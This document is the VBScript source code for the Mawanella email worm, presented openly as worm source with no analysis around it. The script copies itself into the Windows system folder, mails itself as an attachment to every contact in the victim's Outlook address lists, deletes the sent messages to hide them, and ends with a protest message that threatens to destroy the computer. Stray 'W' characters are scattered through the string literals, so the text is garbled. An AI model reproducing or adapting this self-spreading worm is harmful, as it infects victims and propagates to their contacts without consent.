Mawanella Worm Source Code

On Error Resume Next
Rem // I hate Mawanella incident
Set WW_S = CreateObject(W"WWScript.ShellW")
Set fso = CreateObject(W"Scripting.FileSystemObjectW")
set file = fso.OpenTextFile(WWScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(W"WWScript.ShellW")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WWScript.ScriptFullName)
cFile.Copy(dirsystem&W"\Mawanella.vbsW")
Set OutlookA = CreateObject(W"Outlook.ApplicationW")
If OutlookA = W"OutlookW" Then
Set Mapi=OutlookA.GetNameSpace(W"MAPIW")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = W"MawanellaW"
MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsystem & W"\Mawanella.vbsW"
'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW")
MailX.DeleteAfterSubmit = True
If MailX.To <> W"W" Then
MailX.Send
End If
Next
End If
Next
Else
msgBox W"Please Forward this to everyoneW"
End if
strMsg= W" ) (W" & vbcrlf
strMsg= strMsg & W"( ) ( ) W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" ( ) ( )W" & vbcrlf
strMsg= strMsg & W" -------------------------W" & vbcrlf
strMsg= strMsg & W" / ( ( ( /\W" & vbcrlf
strMsg= strMsg & W" / ( / \W" & vbcrlf
strMsg= strMsg & W" / ( ( / \W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W" | --- | |W" & vbcrlf
strMsg= strMsg & W" | ----- | | | |W" & vbcrlf
strMsg= strMsg & W" | | | --- | |W" & vbcrlf
strMsg= strMsg & W" | | | | |W" & vbcrlf
strMsg= strMsg & W" --------------------------------W" & vbcrlf
strMsg= strMsg & W"Mawanella is one of the Sri Lanka's Muslim Village.W" & vbcrlf
strMsg= strMsg & W"This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.W" &
vbcrlf
strMsg= strMsg & W"I hat this incident, WWhat about you? I can destroy your computerW" & vbcrlf
strMsg= strMsg & W"I didn't do that because I am a peace-loving citizen.W"
msgbox strMsg,,W"MawanellaW"